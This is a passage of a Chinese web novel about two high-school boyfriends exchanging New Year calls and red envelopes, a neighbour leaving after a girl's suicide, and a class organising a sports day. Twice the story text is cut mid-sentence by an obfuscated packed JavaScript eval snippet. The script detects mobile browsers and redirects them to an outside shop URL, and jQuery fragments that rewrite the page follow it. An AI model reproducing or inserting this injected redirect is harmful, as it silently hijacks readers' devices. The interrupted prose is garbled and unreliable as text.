再一抬头,发现陈温那个“狡猾”的家伙,早就趁他不注意,溜到院子里的水龙头边,正优哉游哉地搓着手上的浆糊和零星颜料。 合着就他一个人傻乎乎地举着“红手”在这儿自我欣赏? “陈温!”慕雨澄气不打一处来,几步冲过去,毫不客气地用屁股一顶,把正洗到一半的陈温从水龙头前挤开,“起开!我先洗!” 陈温被他顶得一个趔趄,往旁边退了两步,手上还滴着水珠。他先是一愣,随即也来了脾气:“凭什么你先?是我先来的!”说着就上前一步,伸手去扒拉慕雨澄,试图重新夺回“洗手权”。 两个半大少年,就为了谁先洗手这点小事,在水龙头前挤来挤去,互相推搡,嘴里还幼稚地斗着嘴: “你手上颜料最多,污染水资源!” “那你刚才怎么不提醒我?你就是故意的!” “你自己笨怪谁?” 两个幼稚鬼,慕雪在远处偷笑,眼看两人就要从“争抢”升级成互相泼水玩闹了,才上前制止。 65. 我们考一起 玩,不对,是忙了一个中午,陈温困得眼皮打架,回到暂住的房间,沾床就想睡。 迷迷糊糊间,总觉得好像有什么事忘了,但困意像潮水一样涌来,他心想,想不起来的事,大概就是不重要的事吧。 于是头一歪,就沉沉地睡了过去。 这一觉直接睡到了大下午,天光都开始泛着橘色。直到慕雪在门外轻轻敲门:“小温,醒了吗?该起来洗澡了。” 陈温揉着眼睛爬起来,应了一声。 这边有过年洗“橘子水”的习俗,就是在除夕前后,用橘子皮和橘叶煮一大锅热水来洗澡,寓意洗去一年的晦气和不顺,迎接新年的吉祥好运。 他迷迷糊糊地跟着慕雪去了厨房。老家的格局比较特别,厨房很大,碗柜旁边挨着墙,旁边是一个狭小的独立淋浴间,只用薄薄的水泥墙和不透明帘子与厨房隔开。 墙砌得不高,上面是空着的,堪堪能遮住陈温的头。墙的另一面,就是堆放柴火的角落,能闻到干燥的木头和尘土气味。 里面,已经备好了热气腾腾、颜色微黄、散发着浓郁橘子清香的洗澡水。 温热的水流泼在身上,包裹着疲惫,橘子的香气丝丝缕缕钻入鼻腔,让人放松。 洗完出来,浑身上下都染上了一股清爽的橘子味,连头发丝儿都是。 陈温擦着头发走回房间,那股熟悉的橘子香让他莫名地……想起了另一个人身上的味道。不是橘子,是清冽的、带着点距离感的茉莉花香。 沈泽许。 坏了! 他猛地一拍脑门,睡前的模糊记忆瞬间清晰——他忘记给沈泽许打电话报平安了!就说忘了什么事!原来是这件! 虽然沈泽许没有明确要求一定要打电话报备,但作为“有男朋友的人”,陈温自己觉得,到了地方主动说一声是基本操作。 可现在……他没打。这不就等于他把对象给忘了吗?虽然……这好像也是事实,他确实忘了。 陈温心里一慌,也顾不上头发还半湿,急忙扑到床头,手忙脚乱地翻找手机。 找到后,颤抖地划开屏幕,找到沈泽许的号码,拨了过去。 “嘟……嘟……嘟……” 忙音响了好几声,无人接听。自动挂断了。 陈温的心往下沉了沉,但随即又安慰自己:可能他在忙,没听见。晚上,晚上再打一次试试。 可他等不了。试图做点什么来转移或者说掩饰自己的“疏忽”。他点开微信,找到沈泽许的对话框,斟酌着打字: 「温馨提示:在干嘛呢?」 发送。 然后,他捧着手机,眼睛一眨不眨地盯着屏幕。一般来说,沈泽许即使不能立刻打电话,看到微信也会很快回复的。 一秒,两秒,十秒……屏幕安安静静,没有任何新消息提示。 该不会……真生气了吧?还是单纯在忙? 正胡思乱想着,楼下传来了陈林峰中气十足的喊声:“陈温,下来搭把手,搬一下桌椅!” 陈温叹了口气,把手机往床上一扔,暂时压下心里的忐忑和猜测,应了一声“来了!”,趿拉着拖鞋匆匆跑下楼。 晚餐极为丰盛,鸡鸭鱼肉摆满了圆桌,香气扑鼻。但陈温心里揣着事,胃口缺缺,筷子只在碗里拨拉了几下,吃了小半碗饭,就借口饱了,提前离席回了楼上。 房间里的灯有些暗,他也没开大灯,只拧亮了床头那盏小台灯。橘黄色的光晕笼罩着一小片区域。 他靠在床头,紧紧攥着手机,屏幕是暗的。心里像有只猫在挠,痒痒的,又带着点不安。 他深吸一口气,摁亮屏幕,锁屏上果然显示着微信有好几条新消息提示。他心脏跳快了一拍,迫不及待地点开绿色图标。 软件加载的瞬间,他的目光直接飞向置顶的那个对话框——大好人。安静如鸡,没有红点,没有数字,最后一条消息还停留在他下午发出去的那句略显笨拙的「在干嘛呢?」。 期待像被戳破的气球,一下子瘪了下去。心里那点雀跃变成了沉甸甸的失望。 不是他。 但他还是点开了那个标着红色“99+”的群聊。那是他们之前玩密室逃脱临时组的六人群,不知怎么就成了这几个人日常灌水的地方。 群名被改来改去,先是某个中二病起的“学霸聚集地”,又被李欣桐换成“6个恐怖分子”,后来叶萧云大概觉得都不够贴切,改成了“6个魔丸”。其他人似乎也懒得再折腾,就这么默认了下来。 此刻,“6个魔丸”群里正聊得热火朝天。 群里面消息刷得飞快,表情包和碎片化的聊天内容不断往上顶,但陈温一眼就注意到,从头到尾,都没有沈泽许的头像出现过。 他既没有参与讨论,也没有冒泡。: 李欣桐正在兴致勃勃地组织活动:「有人明天想去西湖看花灯吗?听说今年弄得特别好看!@全体成员」 叶萧云回了个瘫倒的表情:「饶了我吧,白天被我妈拉去买年货,腿已断。」 林宇舟接话:「西湖?人挤人吧,想想就窒息。」 别人的热闹是触手可及的,呼朋引伴的。而陈温的“热闹”……好像只维系在一个人身上,而现在那个人,杳无音信。 该再打一个吗?会不会显得太黏人…… 陈温控制不住地开始胡思乱想。短短几秒内,脑海里就像走马灯一样,上演了几十场“小剧场”:沈泽许冷着脸不理他;自己低声下气道歉却被推开;或者更糟,沈泽许轻描淡写地说“没事”,那种比生气更可怕的疏离……每一个画面都让他心头一紧。 不行!不能再这样想下去了!他猛地甩头,像是要把这些糟糕的臆想甩出去。怀疑和猜忌最伤感情,他不能自己先乱了阵脚。 为了转移注意力,他强迫自己从书包里翻出一张还没写完的数学试卷,摊在书桌上,拿起笔。 笔尖悬在纸上,却迟迟落不下去。那些复杂的公式和图形,此刻在他眼里就像一堆乱码,一个字也进不了脑子。 心里那团乱麻,越理越乱,反而把做题需要的清明思绪搅得一团糟。 就在他对着试卷发呆,笔尖无意识地在草稿纸上画着无意义的圆圈时,手机屏幕突然亮了一下。 陈温的心脏瞬间漏跳了一拍,几乎是条件反射般地扔下笔,一把抓过手机。 点亮屏幕——是林宇舟。 「陈温,刚刚在群里@你你没回。明天晚上西湖看花灯,一起去吗?李欣桐他们几个都去。」 期待再次落空。不是他。 陈温盯着那条短信,刚才一瞬间提到嗓子眼的心,又沉沉地坠了回去。 他感到一阵深深的无力,连带着对林宇舟这不合时宜的邀请也生出了一点莫名的迁怒。 他打字回复:「不了,没空。你们玩得开心。」 发送。然后把手机屏幕朝下,重重地扣在桌面上。他不想再被任何信息干扰了,无论是期待的,还是失望的。 陈温泄气般地趴在了冰凉的木质书桌上,额头抵着手臂,眼睛盯着试卷上那片被他画得乱七八糟的草稿区域。 台灯的光晕在他低垂的睫毛下投出一小片阴影。窗外的夜色浓得化不开,村庄里零星亮着几点灯火,更显得他这个小房间里的心绪,格外难熬。 楼下晚饭终于吃完了,慕雪喊陈温下去帮忙洗碗。他慢吞吞地走下去,卷起袖子,站在水池前。他洗得又慢又仔细,每个碗都要冲洗好几遍,仿佛洗碗是他此刻唯一能专注做好的事情。 慕雪在旁边收拾厨房,察觉到他情绪不高,动作也透着一股没精打采,便柔声问:“小温,怎么了?是不是让你洗碗不开心了?明天换雨澄洗。” 陈温摇摇头,手里还捏着个碗,低声说:“不是。是……作业还有好多没写完,有点烦而已。”他找了个最安全的借口。 慕雪信以为真,安慰了几句学习要劳逸结合之类的话。 把最后一个洗得锃亮的碗放进碗柜,擦干手,陈温又慢吞吞地挪回楼上房间。 他踢掉拖鞋,把自己摔进床铺,扯过被子盖到下巴,盯着天花板,心里那点烦闷和空落落的感觉并没有因为洗了几个碗而消散。 就在这时,被他随意丢在枕头边的手机屏幕,忽然亮了起来,幽幽的光在昏暗的房间里非常显眼。 陈温瞥了一眼,本来没太在意,以为又是群消息或者垃圾短信。但视线扫过屏幕的瞬间,他整个人像被电了一下,从床上弹坐起来——不是消息,是来电显示。 沈泽许。 他几乎是扑过去抓起手机,手指因为紧张和急切而有些发抖,毫不犹豫地划向了接听键,把手机紧紧贴在耳边。 “喂。”电话那头传来沈泽许清晰而略带疲惫、但依旧干净好听的嗓音,背景似乎有些嘈杂。 听到这个声音的瞬间,陈温心里那块一直悬着的巨石“咚”地一声落了地,但同时,一下午积攒的担忧、委屈、还有那点因为自己“失职”而产生的恼羞成怒,一股脑儿冲了上来。 他几乎没经过大脑,就用一种连自己都没想到的、理直气壮又带着点凶巴巴的语气质问: “你干嘛去了?!为什么不回我电话!?”——全然忘了,没按时报备的人好像是自己。 电话那头沉默了一秒,随即响起沈泽许心平气和的解释:“我去帮我家阿姨备年夜饭的菜了,厨房里吵,没听见。回来发现手机没电自动关机了,刚充好电,开机就看到你的未接来电和消息了。” 原来是这样。不是故意不理他,不是生气了,只是……在帮忙,手机没电了。 闻言,陈温刚才那股虚张声势的气焰瞬间灭了,心头涌上自责和懊恼。 自己刚才说话是不是太冲了?明明是自己有错在先的…… 他赶紧调整语气,试图缓和气氛,也掩饰自己的不好意思,半是埋怨半是撒娇地说:“我……我担心死你了,还以为你跟我玩失踪呢,我都准备顺着网线爬过去找你了。” 沈泽许在电话那头“扑哧”一声笑了出来,声音里透着愉悦:“到我家?现在可不行。我家还有别人在呢,林宇舟他妈妈在跟我妈一起煮饭后甜点,客厅里都是人。” 听到他笑,陈温心里最后那点阴霾也散尽了,也跟着笑了起来,嘴上却不饶人:“那我下次一定去。” “别,没关系。”沈泽许故意压低了声音,语速放慢,带着点戏谑和只有两人能懂的暗示补充道,“我房间没人。可以……到我房间来。保证……”他顿了顿,“不对你干坏事。” 这话像木棉轻搔过耳膜。陈温的脸“腾”地一下红了,耳朵尖也有了热意。 他下意识地环顾了一下空无一人的房间,仿佛怕被人听见。两人都是血气方刚的年纪,有些话点到为止,背后的潜台词和可能性彼此心照不宣。 “保证不干坏事”这种话,听听就好,概率几乎为零。 “咚咚……” 门外传来两声轻轻的敲门声,打断了电话里那点暧昧又让人心跳加速的气氛。 “等一下,有人敲门。”陈温压低声音对电话那头的沈泽许说,然后迅速下床,打开了门。 门外站着的是慕雪阿姨,她脸上带着温和的笑意,手里拿着红包。 “小温,”她把红包递过来,“这是我跟你爸给你的压岁钱,拿着。新年快乐,又长大一岁啦。” 陈温有些惊讶,没想到这么早就给红包了。他连忙双手接过,沉甸甸的,心里涌起一股暖流:“谢谢阿姨。” 慕雪笑眯眯地看着他,提醒道:“拿了红包,该说什么呀?” 陈温愣了一下,随即反应过来,有些不好意思地抬手拍了一下自己的嘴巴,动作很轻,而后认真地对着慕雪说:“恭喜发财!祝阿姨新年快乐,万事如意!” 慕雪被他这后知后觉又认真的样子逗笑了,满意地点点头。 她没有立刻离开,而是靠在门框边,语气变得更加柔和:“小温啊,过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17171998|196843||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了年,离高考就又近一步了。新的一年,压力别太大,尽力就好,知道吗?不管怎么样,身体和心情最重要。有什么不顺心的事,还是可以像以前一样,随时跟阿姨说,嗯?” “好~”陈温放松下来,带着点懒洋洋的依赖感。他看着慕雪关切的眼神,也说:“阿姨也是,新的一年工作顺利,每天都开开心心,幸福快乐!”他有些懊恼地抓了抓头发,“我好像就会说这几句……可能是做数学题做太久了,语文都快忘光了。” 慕雪被他逗得又笑了起来,伸手抚摸他的头发:“傻孩子,说什么都行,阿姨听了就高兴。我们不奢求别的,就希望你们这几个孩子,都健健康康、平平安安、快快乐乐的,比什么都强。” 两人又在门口闲聊了几句,慕雪问他明天年夜饭想吃什么菜,陈温说了几个喜欢的,气氛轻松又温馨。聊了一会儿,慕雪才道了晚安,转身回了自己房间。 锁好门,陈温一边往床边走,一边好奇地掂量着手里那两个合在一起、有点分量的红包。 按照广东的习惯,红包讲究的是意头,金额通常不大,亲人之间包个一百块已经算是很重的礼了,给其他孩子或者邻居家的小孩,十块、二十块,甚至一块、五块都是常事,主要是图个“利是”的好彩头。 他把红包里的钱都抽了出来,厚厚一叠崭新的红色纸币。他坐在床边,就着台灯的光,虚虚地数了一下。 四百块。 陈温有些吃惊。这比他预想的要多不少。按照广东的习俗和以往的经验,他以为大概就是一百或者两百。 他拿着那叠钱,猜:可能……是陈林峰单独包了一百,而慕雪阿姨包了三百?合起来就是四百。 不管怎么样,这四百块,不仅仅是压岁钱,更像是一种笨拙却实在的支持和祝福。 陈温把红包仔细放好在床头柜上,这才瞥了眼手机屏幕——通话计时还在跳动。 他躺回被窝里,把手机重新贴到耳边,试探性地“喂”了一声,想知道对面是不是还在听,或者已经无聊到去做别的事了。 “我在呢。”沈泽许的声音立刻传来,显然一直安静地等着。 陈温松了口气,心里那点因为对方安静而升起的小小不确定也消失了。刚想再说点什么,就听沈泽许慢悠悠地开口,语气里带着一种委委屈屈的调子: “我以为你点钱点得都把我忘了呢。可能是因为我没有钱,没那么有吸引力吧……唉,我能理解的。” 开始了。沈泽许式的“茶言茶语”虽迟但到。 陈温在电话这头翻了个白眼,嘴角却不受控制地向上弯。 “我没有那么俗好不好。”他有些无奈地说,就知道沈泽许刚才那么安静,肯定没安好心,在这儿憋着“作妖”呢。 但能怎么办?自己宠着呗。 他清了清嗓子,用自己觉得最真诚的语气说:“我爱的是你这个人,钱嘛……它顶多排第二。”心想,这下总该满意了吧? 谁知沈泽许立刻抓住话头,不依不饶,声音里那点笑意更明显了:“哦?那谁排第一?” 怎么这么油盐不进!陈温被他这打破砂锅问到底的劲儿弄得又好气又好笑。 “你!是你!行了没有?沈大少爷。”陈温投降般地说道。 “嗯。”电话那头传来沈泽许一声满足的的轻哼,像只被顺毛撸舒服了的大狗。 陈温忍不住想象了一下沈泽许此刻可能的表情——大概是微微眯着眼,嘴角勾起一点得逞的弧度。 他忽然想到,林宇舟他们要是知道他们心目中那个高冷学霸沈泽许,私底下其实是这么个会哼哼唧唧、拐弯抹角讨要“爱的确认”的“绿茶”男,会是什么反应? 估计会原地爆炸吧?或者更可能的是,会兴奋地围着他,起哄让他“表演一个看看”? 想想就好笑。 “沈泽许,”陈温对着话筒,轻轻唤了一声对方的名字。 “怎?”沈泽许应道。 陈温吸了口气,像是下定了某种决心:“高考完……我把你介绍给我爸跟我阿姨吧。” 他想让他们知道,沈泽许对他有多重要。想让他们见见这个让他变得不一样的人。想……某种程度上,为他们的关系,争取一份来自家庭的的认可。 电话那头,忽然陷入了一片沉寂。只有电流声,和似乎变得有些急促、又或许只是错觉的呼吸声。 这沉默像一块小石子,投进了陈温刚刚平复的心湖,激起了不安的涟漪。他心头一紧,声音也低了下去:“你……不愿意吗?” “没有。”沈泽许的声音很快响起,斩钉截铁,甚至比刚才更加清晰有力。 再开口时,男生语气里带着一丝掩藏不住的颤音:“我很开心。真的。” 得到肯定的答复,陈温悬起的心倏地落回原处,随即又被一大股暖流包围。 然后,他听到沈泽许继续说:“那……我们也考一个大学,怎么样?你想去哪?” 他说得那么自然,那么理所当然,仿佛陈温根本不会拒绝这个提议。事实上,陈温也确实无法拒绝。这个提议太诱人了。 考同一个大学。这意味着,他们可以继续并肩走在校园里,可以方便地见面、约会,不用像许多情侣那样,被不同的城市和校区分隔,担心距离消磨感情,担心彼此的生活圈渐行渐远。 甚至……他们或许可以不住宿舍,在学校附近租一间小房子,拥有完全属于两个人的空间,开启他们曾经只敢在心底偷偷憧憬的“独居生活”。 这些画面,在遇到沈泽许之前,是陈温想都不敢想的。 他曾经以为自己会一直待在那个由孤独和旧日阴影构筑的泥泞沟壑里,不会喜欢上任何人,也不会有人愿意伸手,将他拉出来。 但沈泽许出现了。一切都改变了。 爱意为界,自成宇宙。 陈温鼻子有点发酸,喉咙也有些哽,好一会儿才找到自己的声音: “好。我们考一起。” 66. 归你管 大年初一的晚上,窗外爆竹声此起彼伏,烟花不时照亮夜空。陈温正陪着爷爷奶奶看春晚,班级群忽然热闹起来,消息提示音叮咚响个不停。 他点开手机一看,原来不知是谁起的头,群里开始玩起了抢红包接龙。规则很简单:谁抢到的金额最大,谁就接着发下一个红包。 陈温来了兴致,也想参与一下。 可乡下的网络信号时好时坏,等他好不容易加载出红包页面,点进去时,屏幕上总是冷酷地显示着“手慢了,红包派完了”或者“红包已被领完”。 一连错过了好几个,他只能看着聊天记录里其他人晒出的“战果”和感谢“老板”的评论干瞪眼。 他无聊地往上翻着红包记录,想看看都是谁在发、谁手气最好。 这一翻,发现几乎每一个红包的领取名单里,都有“沈泽许”那个黑色的头像,稳如泰山地出现,而且看起来抢到的数额都还不小。 陈温心里顿时不平衡了。好家伙,这人手速挺快啊,网速也不错嘛。 最关键的是——他知道有红包抢,居然不告诉自己一声?就自己闷声发财? 一股被“抛弃”的委屈感和“兴师问罪”的念头涌了上来。他也顾不上看春晚了,退出班级群,直接点开沈泽许的对话框,敲打键盘: 「温馨提示:在?」 几乎是秒回。 「大好人:嗯。在看春晚?」 陈温不接话茬,直奔主题: 「班级群的红包,你抢得挺欢啊?」 「大好人:嗯,随手点着玩的。你抢到了吗?」 「温馨提示:没有!我这边网不好,根本抢不到!」 「还有,你知道有红包,为什么不告诉我?刀jpg.」 沈泽许那边显示“正在输入…”了一会儿,然后发来一条,明显带着哄的意味: 「我的错。下次一定叫你,好不好?」 紧接着,没等陈温回复,一个专属红包就跳了出来。封面写着:「给你补上」。 陈温点开——金额是“88.88”,比群里那些红包大方多了,寓意也好。 他心里的那点小疙瘩立刻被抚平了,但嘴上还要嗔怪一下,回了个“这还差不多”的表情。 沈泽许又发来一条: 「别不高兴了。我这边网好,以后有红包我先帮你试试水,能抢到最好,抢不到……我的那份都归你管,行不行?」 看到“归你管”三个字,陈温嘴角彻底压不住了,刚才那点小情绪早就飞到了九霄云外。他回了个猫咪点头的乖巧表情。 「春晚不好看,你在干嘛呢?」他主动转移了话题,语气已经恢复了轻快。 屏幕那头的沈泽许不知回了句什么,陈温看着,嘴角的笑意还没完全收起。 窗外的烟花恰在此时“砰”一声炸开,绚烂的光芒瞬间照亮他低头看手机的侧脸,也映亮了屏幕上最后那句闲聊。 那光芒盛极,又倏然暗去。 像是一个精巧的隐喻。 寒假就像夜空中倏然划过的流星,光芒短暂,转眼即逝。 最后那点闲散与温存,也随着除夕夜最后一朵烟花的消散,彻底熄灭了。 在略显嘈杂的返校人流中,拉开了新学期的序幕。 这些天里,发生了不少事。 最大的变动来自江尘。江夏的离去,像一把最锋利的刀,不仅切断了生命的延续,也斩断了他对那个“家”最后一丝温情的幻想。 他亲眼看见父母得知女儿死讯后的反应——没有崩溃,没有追问,甚至连像样的悲伤都显得吝啬而敷衍,仿佛只是听说陌生人的噩耗,毫不在意。 他们更关心的,似乎是“这事传出去会不会丢脸”,以及江夏留下的那“身后事”该如何处理才省心。 那种深入骨髓的冷漠,比江夏的死亡本身更让江尘感到彻骨的寒。 他忽然看清了,在这个家里,亲情薄得像一张随时可以撕破的纸。姐姐用生命都没能换来的关注,他继续留下来,又能指望什么? 在某个清晨,江尘径直离开了那个承载了太多冰冷记忆的家——只给父母留下了一封信和一张银行卡。 信很短,大意是:感谢你们在我小时候生病时四处求医,那是他记忆中这个家为数不多的温情片段,也感谢这些年的养育。卡里的钱,是江夏留下的部分,加上他自己打工攒下的,足够偿还他们认为的“养育成本”。 从此,两不相欠,各自安好。 校园里的玉兰花冒出了毛茸茸的苞,新的学期,新的开始。 但有些人,已经永远地留在了上一个冬天;而另一些人,则带着伤痕,踏入了未知的春天。 他们班主任还是楚婷。她今天穿了件格外鲜艳的大红色羽绒服,在一片灰蒙蒙的早春校园和学生们深色臃肿的冬装里,如同将还没散尽的年味儿穿在了身上。 校园里只有高三学生提前返校,没了其他年级学生的喧闹,偌大的地方显得异常冷清空旷,脚步声都带着回音。 楚婷站在讲台上,正开着新学期的第一次班会。她面上带着惯常的严肃和勉励的表情,声音通过麦克风传遍教室: “同学们,年过完了,心该收回来了。今天我们把上学期期末没讲完的选修下册最后两个知识点扫尾,最晚三月份,我们就要进入全面的、系统的第一轮总复习了。时间不等人,大家要立刻进入状态!” “还有心思该放在哪里,自己都拎拎清。那些有的没的、乱七八糟的心思——尤其是跟学习无关的,比如什么‘谈朋友’、搞小团体——都给我收起来!” “现在不是时候,也没那个时间给你浪费。一切,等六月以后再说!” 她的话语像一盆冷水,浇灭了假期残存的最后一丝懒散,也让教室里的空气无形中绷紧了几分。 或许是觉得气氛太凝重,也或许是想给学生们打打“预防针”,楚婷打开了多媒体投影,播放了一段关于往届高三复读生的纪录片。 片子拍得有些官方和煽情,讲述着落榜后的不甘、复读一年的艰辛、以及最后圆梦的泪水。 然而,对于这些刚刚返校、还没从假期模式完全切换过来、且因早起而困倦的学生们来说,纪录片沉闷的旁白和略显遥远的励志故事,效果并不理想。 下面坐着的同学,大半都昏昏欲睡,脑袋一点一点像小鸡啄米。还有一小撮“亡命之徒”,正趁着老师放片子的“空档”,争分夺秒地狂补寒假拖欠的作业。 当下课铃声终于响起,仿佛一声赦令。 刚才还强打精神或埋头苦干的同学们,几乎在同一时间,齐刷刷地、以一种近乎虔诚的姿势,朝着课桌“朝拜”下去——手臂交叠,脑袋埋进臂弯,瞬间,教室里趴倒一片,只剩下均匀的呼吸声。 短暂的十分钟课间,成了争分夺秒补充精力的宝贵机会。 高三的节奏,从这开学的第一天起,就以这样一种毫不留情的方式,重新勒紧了每个人的神经。 陈温也跟着大部队,有样学样地“咚”一声趴在了课桌上,额头抵着硬邦邦的手臂,眼皮沉得直往下坠。 假期紊乱的作息和开学第一天早起的双重打击,让困意如潮水喷发将他淹没。 陈温勉强掀起一边眼皮,瞥了眼身旁的沈泽许。这家伙倒是坐得笔直,正低头翻看下节课要用的资料,侧脸线条清晰,眼睫又长又直,丝毫没有困倦的样子,让人觉得假期和开学对他而言毫无切换障碍。 人比人,气死人。 陈温心里嘀咕了一句,伸出脚,在桌子底下踢沈泽许的小腿。 沈泽许没动,微微偏头,目光扫向他。 陈温把脸埋在臂弯里,只露出一双因为困倦而有些湿漉漉的眼睛,声音闷闷的,理直气壮的指使:“帮我打水去。上课了叫我。我眯一会,太困了。” 沈泽许看着他这副耍赖又依赖的模样,眼里闪过一丝极淡的笑意,没说什么,点了点头。 伸手拿过男生桌角那个纯白的保温杯,又拿起自己的,起身离开了座位。 等他拿着两杯温度刚好的水回到座位时,陈温已经彻底睡着了,呼吸均匀绵长,浓密的睫毛在眼睑投下阴影,脸颊因为趴着而压出了一小片红印。 沈泽许轻手轻脚地把他的杯子放在陈温手边触手可及的地方,然后坐下来,没有立刻叫醒陈温,而是跟着扒在桌面上,盯了他几秒。 直到预备铃响起,他才伸手,隔着校服袖子,很轻地推晃陈温的肩膀。 “上课了。” 陈温迷迷糊糊地“唔”了一声,艰难地抬起头,眼睛还没完全睁开,脸颊和额头上被手臂压出了几道红痕,头发也翘起一小撮,整个人看起来懵懂又柔软。 他下意识地摸向手边的水杯,拧开,温热的水流滑过干涩的喉咙,驱散了些许混沌。 沈泽许看着他这副模样,眼里掠过一丝笑意,用指尖碰了碰他脸颊上那道最深的睡痕,说:“看看,睡得像只小猪,印子都压出来了。” 陈温刚醒,脑子还昏沉着,像一团搅不开的浆糊。但听到沈泽许笑他,下意识就皱起眉,含混不清地嘟囔着反击:“你才猪……都怪你……不早点叫我……” 逻辑不通,纯属赖皮。 沈泽许也不反驳,顺着他这没道理的指控,好脾气地点头:“嗯嗯好,我坏。” 因为睡过一个课间,林宇舟他们倒是清醒了不少,课间闲聊时说起,上个学期因为天气太冷推迟的运动会,这学期肯定要补上。 陈温听着,没太在意,高三了,运动会这种活动,参与感已经变得很淡。 终于熬完一天高强度的学习,带着满身疲惫回到家。刚走到自家门口,他就愣住了——隔壁门口,堆着好几个已经封好的纸箱,上面还贴着快递单。 正疑惑着,隔壁的门“咔哒”一声开了。陆晚枝提着一个鼓鼓囊囊的黑色垃圾袋走出来。 她穿着一身素色的毛衣和长裤,短发简单地扎在脑后,脸上没什么妆,眼圈下方带着淡淡的青黑,整个人看起来清瘦又沉静。 前天,她刚刚为江夏举办了一个小型葬礼,到场的人寥寥无几。陈温因为要准备开学,下午才从乡下回来,没能去参加。 江夏没有留下遗书。 一个字也没有。 起初陆晚枝疯了一样地找,翻遍所有角落。后来她明白了。 真正想死的人,不会写遗书。 写遗书意味着还有话说,还有念想。而江夏没有。她走得干干净净,连一点痕迹都不愿留下。 那片空白,成了陆晚枝心里一道永远填不上的口子。 两人在堆满箱子的狭窄走廊里打了个照面,都有些惊讶。 “这些箱子是……?”陈温指着地上的纸箱。 陆晚枝把垃圾袋暂时放在一边,沉默了几秒,像是在斟酌措辞,然后才开口:“小弟,我要搬走了。” “什么!?”陈温几乎是脱口而出,声音里带着明显的错愕和不舍。 虽然相处时间不算特别长,但陆晚枝对他来说,是姐姐一样亲近的存在,更是他与江夏那段沉重往事之间,一个重要的联结。 “这里……”陆晚枝的目光掠过那些箱子,又似乎穿透了墙壁,看向屋内某个虚空的地方,“存在了太多……回忆。” 她顿了顿,语气恢复了些许平静,补充道,“还有一部分是工作原因,公司有一个去国外总部培训的名额,时间比较长,我申请了。以后……可能就不常回这里住了。” “这……”陈温张了张嘴,一时不知该说什么。 巨大的不舍填满了他,但他又明白,离开这个充满伤痛记忆的地方,对陆晚枝来说,或许是一种必要的疗愈和新的开始。 他无权,也不该阻拦。 “那……挺好的。”他最终说道,努力让自己的声音听起来轻松些,“出去看看,换个环境。你要……照顾好自己。” 陆晚枝看到陈温脸上那点笨拙的安慰,神色柔和了些。她点点头:“我会的。”随后,她侧身让开门口,“进来坐会儿吧?我收拾得差不多了,有样东西想送给你。” 陈温跟着她走进明显空荡许多的客厅。陆晚枝走到一个还没封箱的纸箱旁,弯腰从里面拿出一个扁平的、用牛皮纸仔细包好的长方形物件,转身递给他。 “送你的。”她说,“算是告别礼物,也补上新年那份。” 陈温小心地接过来,拆开牛皮纸。里面是一本硬壳封面的精装笔记本,深蓝色,封面上没有任何花纹,只有右下角用烫银工艺印着一行英文:“TheNextChapter”。 触手微凉,质感厚重。 他翻开,内页是空白的,纸张厚实细腻,泛着象牙白的光泽,适合书写也适合贴些东西。 本子的侧面,还嵌着一枚很小的、黄铜材质的书签,形状是一片简单的羽毛。 “不是什么贵重东西。”陆晚枝看着他翻阅,解释道,“但纸不错,写字舒服。高三了,用来记笔记、写写计划、或者……随便写点什么都行。” 女生的目光又落在那个羽毛书签上,“新的篇章,总要有点像样的开始。希望它能陪你写完高中这最后,也是最重要的一章。” 这份礼物简单,却寓意深远。它不沉溺于过去的悲伤,而是明确地指向“下一章”。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“项目就这些。”楚婷放下通知,“体委这两天把参赛名单初步统计一下,报给我。不强求每个人参加,但既然有这个机会,希望大家也能积极参与,劳逸结合。当然,前提是绝对不能耽误学习。” 班会课结束,关于运动会的讨论立刻在课间升温。 2班现在的情况有点尴尬。除了林宇舟和另外两三个经常泡在篮球场的,其他男生的体能和运动热情……实在有些乏善可陈。 女生里倒是有几个跑步不错、跳绳灵活的,但项目有限制,还得男女搭配。 林宇舟作为体育委员,肯定是逃不掉的。他大概率得扛起接力第一棒的重任,可问题是,4x100米接力和8字跳绳的赛程挨得很近,他跑完气还没喘匀,就得立刻投入集体跳绳。 “你们谁去跳绳?谁跑接力?”林宇舟问。 教室里沉默了一瞬。几个平时就不太爱动的男生眼神开始飘忽,有人假装翻书,有人低头系鞋带。 女生那边也在互相推让: “我跳绳容易绊到……” “我耐力不行,跑一会儿就喘。” 更现实的是,不少人心底的小算盘打得噼啪响:运动会那两天,老师说不定会放松管理,允许带手机或者晚一点到校。 留在教室里偷偷刷题,或者万一运气好,老师发了手机,几个人凑一起开黑打两把游戏,不比在太阳底下又跑又跳累成狗舒服? 这种想法能理解,高三了,时间金贵,每个人都想按自己最舒服的方式“放松”。 可问题是,如果大家都这么想,就真的没人参加了。 到时候别的班热火朝天,就2班冷冷清清,项目弃权,面子上过不去,老班那边更没法交代。 林宇舟看着眼前这“无人可用”的局面,头疼地扶住太阳穴。 “都别装死啊。接力至少需要两男两女,跳绳要十个人,男女各半。名单周二前必须交,咱们班总不能一项都凑不齐吧?自愿优先,实在不行……”他扫视了一圈,“那我可就要点名了!” “我去吧,我报接力。”说话的人是李欣桐,她没什么犹豫地举了下手。 “行!”林宇舟眼睛一亮,赶紧在表格接力项目那一栏填上她的名字,“太好了!还有谁?接力还需要一个女生和一个男生!” “那……我去跳绳吧。”李清依慢了一步,也举了手。她个子高挑,协调性很好。 “好样的!”林宇舟记下,趁热打铁,目光扫过教室里的男生们,语气里带上了激将,“还有没有自愿的?咱们班男生都哪儿去了?总不能让女生们冲锋陷阵吧?这要传出去,不得笑话死我们2班阴盛阳衰?” 这话戳中了一些男生的自尊心。理科班男生本来就多,要是运动会全让女生顶上去,面子上实在过不去。 教室里安静了几秒,有几个男生脸上露出犹豫的神色,互相看了看。 